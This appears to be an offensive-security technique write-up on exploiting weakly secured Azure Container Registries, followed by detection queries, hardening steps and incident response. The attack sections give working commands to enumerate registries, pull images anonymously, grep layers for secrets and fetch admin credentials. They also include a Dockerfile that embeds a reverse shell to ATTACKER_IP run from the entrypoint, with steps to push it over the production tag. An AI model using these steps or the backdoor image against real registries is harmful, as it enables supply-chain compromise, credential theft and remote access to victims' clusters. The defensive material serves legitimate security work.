| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-019 |
| MITRE ATT&CK v18.1 | T1526 - Resource Discovery |
| Tactic | Defense Evasion / Persistence |
| Platforms | Entra ID, Azure Container Registry (ACR), AKS, Kubernetes |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure Container Registry (all versions), Docker Hub, Kubernetes 1.0+ |
| Patched In | Not applicable (configuration vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Container Registry (ACR) and other container image registries store container images used for application deployments. If ACL (Access Control Lists) are misconfigured—allowing anonymous/public access, overly permissive role assignments, or weak authentication—attackers can pull (download) images to analyze for secrets, source code, and credentials, or push (upload) malicious image layers to compromise downstream deployments. This attack enables code injection, supply chain compromise, lateral movement to deployment pipelines, and widespread infrastructure compromise.
Attack Surface: Container Registry access policies, Role-Based Access Control (RBAC), Registry webhook configurations, Image signing and validation policies, Registry firewall rules, and pull/push credentials management.
Business Impact: Supply chain compromise and mass deployment of malicious container images across the entire application ecosystem. With registry write access, attackers can poison base images (Alpine, Ubuntu, Node.js) used across multiple projects, inject malware into production-bound artifacts, exfiltrate secrets embedded in application code, and maintain persistent backdoors in all instances of compromised images.
Technical Context: Exploitation typically requires: (1) network access to the registry endpoint (public registries have no network restrictions), (2) read permissions to pull images (often public/anonymous), or (3) write permissions to inject malicious layers (requires compromised credentials or overly permissive RBAC). Detection is difficult because registry pulls/pushes appear as normal CI/CD activity. Reversibility is impossible once compromised images have been deployed—all running instances must be identified and replaced with patched versions.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2 (Kubernetes), 2.4 (Azure) | Image Registry Configuration, Container Image Scanning |
| DISA STIG | SI-7, SI-10, CM-5 | Software, Firmware, and Information Integrity; Information System Monitoring |
| CISA SCuBA | CL-CS-3 | Container Image Scanning and Vulnerability Management |
| NIST 800-53 | SC-7, SI-7, SI-10, CM-3, CM-5 | Boundary Protection, Software Integrity, Supply Chain Protection |
| GDPR | Art. 32 | Security of Processing (supply chain security, third-party controls) |
| DORA | Art. 9, Art. 16 | Protection & Prevention, Reporting of ICT-Related Incidents |
| NIS2 | Art. 21, Art. 22 | Cyber Risk Management, Incident Reporting |
| ISO 27001 | A.12.2, A.12.5, A.13.1 | Supply Chain Management, Cryptographic Controls |
| ISO 27005 | Supply Chain Risk | Risk management for container image supply chain |
Supported Versions:
Tools:
Supported Versions: All Azure Container Registry versions
Objective: Identify accessible container registries within the target Azure subscription.
Command (Azure CLI - List ACRs):
# List all container registries in the subscription
az acr list --query "[].{name: name, resourceGroup: resourceGroup, loginServer: loginServer}" --output table
# Get detailed information about a specific ACR
az acr show --name "my-registry" --resource-group "RG-Name" --query "{loginServer: loginServer, adminUserEnabled: adminUserEnabled, publicNetworkAccess: publicNetworkAccess}"
Expected Output:
Name: my-registry
ResourceGroup: MyResourceGroup
LoginServer: myregistry.azurecr.io
AdminUserEnabled: false
PublicNetworkAccess: Enabled
What This Means:
PublicNetworkAccess: Enabled means the registry is accessible from the internet.AdminUserEnabled: false indicates RBAC is enforced (but may still have weak permissions).OpSec & Evasion:
Troubleshooting:
Objective: Determine if ACR is publicly accessible and what authentication is required.
Command (Azure CLI - Check ACR Network Settings):
# Check if ACR is publicly accessible
az acr show --name "my-registry" --resource-group "RG-Name" --query "publicNetworkAccess"
# List network rules (firewall)
az acr network-rule list --registry-name "my-registry" --resource-group "RG-Name"
# Check if anonymous pull is enabled (very weak configuration)
az acr config content-trust show --registry-name "my-registry"
Expected Output (Weak Configuration):
PublicNetworkAccess: Enabled
NetworkRules: None (no firewall rules = open to anyone)
ContentTrustEnabled: false
What This Means:
OpSec & Evasion:
Objective: Verify that images can be pulled without credentials.
Command (Docker - Anonymous Pull):
# Attempt to pull image without authentication
docker pull myregistry.azurecr.io/webapp:latest
# Or using curl for a more stealthy approach
curl -H "Authorization: Bearer" https://myregistry.azurecr.io/v2/ \
-H "Accept: application/vnd.docker.distribution.manifest.v2+json"
# List all repositories and tags
curl https://myregistry.azurecr.io/v2/_catalog
Expected Output (If Anonymous Access Enabled):
{
"repositories": [
"webapp",
"database-migration",
"admin-dashboard",
"payment-processor"
]
}
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Extract and analyze container image layers to discover embedded secrets, source code, and credentials.
Command (Docker/Skopeo - Image Layer Analysis):
# Use Skopeo to inspect image without pulling entire Docker images
skopeo inspect docker://myregistry.azurecr.io/webapp:latest
# Pull image and extract layers
docker pull myregistry.azurecr.io/webapp:latest
docker save myregistry.azurecr.io/webapp:latest -o webapp.tar
# Extract and analyze filesystem
mkdir -p /tmp/image-analysis
cd /tmp/image-analysis
tar xf webapp.tar
# Search for secrets in image layers
find . -name "*.env" -o -name "*.conf" -o -name "config.json" | xargs grep -l "password\|apikey\|secret\|token"
# Use Trivy to scan for vulnerabilities and embedded secrets
trivy image myregistry.azurecr.io/webapp:latest --severity CRITICAL
# Use Syft to generate Software Bill of Materials (SBOM)
syft myregistry.azurecr.io/webapp:latest --output json > webapp-sbom.json
Expected Output (Secrets Found):
./webapp-layer-123/app/config.json: "database_password": "P@ssw0rd123!",
./webapp-layer-123/app/.env: APIKEY=sk-proj-1234567890...
./webapp-layer-456/secrets/credentials.txt: AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
What This Means:
OpSec & Evasion:
Troubleshooting:
skopeo copy docker://image:tag oci://local-image-pathReferences & Proofs:
Supported Versions: All Azure Container Registry versions
Objective: Acquire credentials or RBAC permissions to push images to the registry.
Command (Azure CLI - Check Current Roles):
# List all role assignments for the ACR
az role assignment list --scope "/subscriptions/SUBSCRIPTION_ID/resourceGroups/RG-Name/providers/Microsoft.ContainerRegistry/registries/my-registry" \
--query "[].{role: roleDefinitionName, principal: principalName}" --output table
# If you have compromised a user account, check their permissions
az role assignment list --assignee "user@example.com"
Expected Output (Weak Configuration):
Role: Contributor
Principal: user@example.com
Role: AcrPush
Principal: build-service-account
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Build a modified container image with malicious code (e.g., reverse shell, cryptominer, data exfiltration).
Command (Dockerfile - Create Backdoor Image):
# Use the legitimate image as base
FROM myregistry.azurecr.io/webapp:latest
# Add malicious layer on top
RUN apt-get update && apt-get install -y curl netcat-openbsd
# Create backdoor shell script
RUN echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh
# Modify entrypoint to trigger backdoor
ENTRYPOINT ["/bin/sh", "-c", "/tmp/backdoor.sh & exec /app/startup.sh"]
Build and Push Malicious Image:
# Build the malicious image
docker build -t myregistry.azurecr.io/webapp:latest-backdoor -f Dockerfile .
# Log in to ACR
az acr login --name my-registry
# Push the malicious image, overwriting the existing tag
docker tag myregistry.azurecr.io/webapp:latest-backdoor myregistry.azurecr.io/webapp:latest
docker push myregistry.azurecr.io/webapp:latest
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Confirm that new deployments use the poisoned image.
Command (Kubernetes - Monitor Pod Deployment):
# Check running pods
kubectl get pods --all-namespaces -o wide | grep webapp
# Describe pod to see image digest
kubectl describe pod <pod-name> -n <namespace> | grep -A5 "Image:"
# Check image ID to verify it's the malicious version
docker inspect myregistry.azurecr.io/webapp:latest | grep -A2 "Id"
Expected Output:
Pod: webapp-deployment-5d4f9b8c2a
Image: myregistry.azurecr.io/webapp:latest
ImageID: sha256:abc123def456xyz789... (NEW hash = malicious image)
What This Means:
References & Proofs:
Supported Versions: Azure Container Registry with admin user enabled
Objective: Obtain ACR admin credentials if admin user is enabled (weak practice).
Command (Azure CLI - Get Admin Credentials):
# Check if admin user is enabled
az acr show --name "my-registry" --resource-group "RG-Name" --query "adminUserEnabled"
# If admin user is enabled, get credentials
az acr credential show --name "my-registry" --resource-group "RG-Name" --query "{username: username, password: passwords[0].value}"
Expected Output:
username: my-registry
password: ABC123def456XYZ789uvw==
What This Means:
OpSec & Evasion:
Objective: Access the registry from unexpected IP addresses if firewall rules are misconfigured.
Command (Azure CLI - Check Firewall Rules):
# List all network rules
az acr network-rule list --registry-name "my-registry" --resource-group "RG-Name"
# Check if default action is "Allow" (dangerous)
az acr show --name "my-registry" --resource-group "RG-Name" --query "networkRuleBypassOptions"
Expected Output (Weak Configuration):
DefaultAction: Allow
NetworkRules: []
BypassOptions: AzureServices
What This Means:
BypassOptions: AzureServices = any Azure service can bypass firewall.OpSec & Evasion:
Version: 24.0+ (current) Minimum Version: 19.x Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install docker
# Linux
curl -fsSL https://get.docker.com -o get-docker.sh && sudo sh get-docker.sh
# Windows
choco install docker-desktop
Usage:
docker pull myregistry.azurecr.io/webapp:latest
docker save myregistry.azurecr.io/webapp:latest -o image.tar
Version: 1.14+ Language: Go
Installation:
# Linux
sudo apt-get install skopeo
# macOS
brew install skopeo
# From source
git clone https://github.com/containers/skopeo.git && cd skopeo && make binary-install
Usage:
skopeo inspect docker://myregistry.azurecr.io/webapp:latest
skopeo copy docker://myregistry.azurecr.io/webapp:latest oci://local-image
Version: 0.45+ (current) Language: Go
Installation:
# macOS
brew install aquasecurity/trivy/trivy
# Linux
wget https://github.com/aquasecurity/trivy/releases/download/v0.45.0/trivy_0.45.0_Linux-64bit.tar.gz
tar xzf trivy_0.45.0_Linux-64bit.tar.gz && sudo mv trivy /usr/local/bin/
Usage:
trivy image myregistry.azurecr.io/webapp:latest --severity CRITICAL
Rule Configuration:
KQL Query:
AzureActivity
| where TimeGenerated > ago(24h)
| where ResourceProvider == "Microsoft.ContainerRegistry"
| where OperationName has_any ("PushImage", "PullImage", "DeleteImage")
| where Result != "Success" or CallerIpAddress matches regex @"^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$"
| summarize Count=count(), UniqueUsers=dcount(Caller), UniqueIPs=dcount(CallerIpAddress) by OperationName, ResourceName
| where Count > 20 or UniqueIPs > 3
What This Detects:
Manual Configuration Steps (Azure Portal):
Unauthorized ACR Image OperationsHigh15 minutesRule Configuration:
KQL Query:
AzureActivity
| where TimeGenerated > ago(24h)
| where ResourceProvider == "Microsoft.ContainerRegistry"
| where AuthenticationLevel == "Anonymous" or Caller == "Anonymous"
| where OperationName has_any ("PullImage", "ListImages", "GetManifest")
What This Detects:
Event ID: 4624 (Successful Logon)
Alert Name: “Anonymous access to container registry detected”
Manual Configuration Steps:
Restrict ACR to private access and require authentication: Disable public network access; implement firewall rules and VNet integration.
Manual Steps (Azure Portal - Restrict ACR Access):
Manual Steps (PowerShell):
# Disable public network access
Update-AzContainerRegistry -Name "my-registry" -ResourceGroupName "RG-Name" -PublicNetworkAccess Disabled
# Set default action to Deny
Update-AzContainerRegistryNetworkRuleSet -ResourceGroupName "RG-Name" -RegistryName "my-registry" -DefaultAction Deny
# Add VNet integration
New-AzContainerRegistryNetworkRule -ResourceGroupName "RG-Name" -RegistryName "my-registry" -VirtualNetworkResourceId "/subscriptions/SUB_ID/resourceGroups/RG-Name/providers/Microsoft.Network/virtualNetworks/my-vnet/subnets/my-subnet" -Action Allow
Validation Command:
Get-AzContainerRegistry -Name "my-registry" -ResourceGroupName "RG-Name" | Select-Object PublicNetworkAccess
# Expected: Disabled
Disable admin user and enforce RBAC: Remove the single admin credential; use Entra ID integration and service principals.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Update-AzContainerRegistry -Name "my-registry" -ResourceGroupName "RG-Name" -EnableAdminUser $false
Manual Steps (Create Service Principal for ACR Access):
# Create service principal
$sp = New-AzADServicePrincipal -DisplayName "acr-push-service"
# Assign AcrPush role to service principal
New-AzRoleAssignment -ApplicationId $sp.AppId -RoleDefinitionName "AcrPush" `
-ResourceGroupName "RG-Name" -ResourceName "my-registry" -ResourceType "Microsoft.ContainerRegistry/registries"
Implement image signing and validation: Require all images to be signed by a trusted key; enforce signature verification on pull.
Manual Steps (Enable Content Trust):
# Enable content trust in ACR
az acr config content-trust update --registry my-registry --status Enabled
# Sign an image using Docker Content Trust
export DOCKER_CONTENT_TRUST=1
docker tag myregistry.azurecr.io/webapp:unsigned myregistry.azurecr.io/webapp:signed
docker push myregistry.azurecr.io/webapp:signed
# Verify signature on pull
docker pull myregistry.azurecr.io/webapp:signed
Enable vulnerability scanning and block vulnerable images: Use Defender for Container Registries to scan images for CVEs; set policies to block deployment of critical vulnerabilities.
Manual Steps (Azure Portal - Vulnerability Scanning):
Manual Steps (PowerShell - Scan Image):
# Trigger scan of an image
az acr scan --registry my-registry --image webapp:latest
# Get scan results
az acr scan-result show --registry my-registry --repository webapp --tag latest
Implement registry firewall rules and Private Link: Restrict network access to only authorized subnets and regions.
Manual Steps (Azure Portal - VNet Integration):
my-registry-pecontainerRegistryregistryRotate registry credentials regularly: Implement automated credential rotation for service principals accessing ACR.
Manual Steps (Credential Rotation):
# Get service principal
$sp = Get-AzADServicePrincipal -DisplayName "acr-push-service"
# Create new credentials
$cred = New-AzADServicePrincipalCredential -ObjectId $sp.Id
# Output new password
$cred | Select-Object StartDate, EndDate, SecretText
# Update credential in CI/CD pipeline secrets
# (manual step in GitHub, Azure Pipelines, etc.)
Audit all ACR operations and set alerts on anomalies: Enable logging for all image operations; monitor for unusual patterns.
Manual Steps (Enable ACR Audit Logging):
acr-audit-logEnforce repository-level access policies: Use token-based access or RBAC scoped to specific repositories.
Manual Steps (Create Scoped Access Token):
# Create token with repository-scoped permissions
az acr token create --registry my-registry --name read-webapp-token `
--scope "repositories:webapp:pull" --days 30
Implement admission controllers in Kubernetes: Block deployment of images that fail security scans or come from untrusted registries.
Manual Steps (Admission Controller Policy):
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sAllowedRepos
metadata:
name: allowed-registries
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
repos:
- "myregistry.azurecr.io/"
Dockerfile with reverse shell, cryptominer, or data exfiltration code.dockerignore files (may indicate secrets being hidden)docker-compose.yml with hardcoded credentialswebapp:v1.0-backdoor)# Disable public access immediately
az acr update --name my-registry --resource-group RG-Name --public-network-enabled false
# Revoke all tokens
az acr token delete --registry my-registry --name read-webapp-token
# Download image manifest for forensic analysis
skopeo inspect docker://myregistry.azurecr.io/webapp:latest > webapp-manifest.json
# Export pull/push audit logs
az monitor activity-log list --resource-group "RG-Name" --offset 72h --query "[].{Time: eventTimestamp, Operation: operationName, Caller: caller}" > acr-audit.json
# Build clean image from verified source
docker build -t myregistry.azurecr.io/webapp:v1.0-patched .
# Push patched image
docker push myregistry.azurecr.io/webapp:v1.0-patched
# Force Kubernetes to pull new image
kubectl rollout restart deployment webapp -n production
AzureActivity
| where ResourceProvider == "Microsoft.ContainerRegistry"
| where CallerIpAddress != "EXPECTED_IP_RANGE"
| summarize Count=count() by Caller, CallerIpAddress, OperationName
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph Enumeration | Attacker discovers ACR instances and storage accounts |
| 2 | Credential Access | [CA-UNSC-008] Storage Account Key Theft | Attacker extracts registry credentials from compromised environments |
| 3 | Lateral Movement | [MISCONFIG-019] Weak Container Image Registry ACL | Attacker pulls or pushes images to ACR |
| 4 | Persistence | Malicious Image Layer Injection | Attacker creates backdoor image in registry |
| 5 | Execution | AKS Pod Launch with Backdoor Image | Attacker deploys compromised image to Kubernetes cluster |
| 6 | Impact | Lateral movement to other cluster nodes / supply chain compromise | Attacker gains cluster admin, exfiltrates data, or sells backdoored image to other organizations |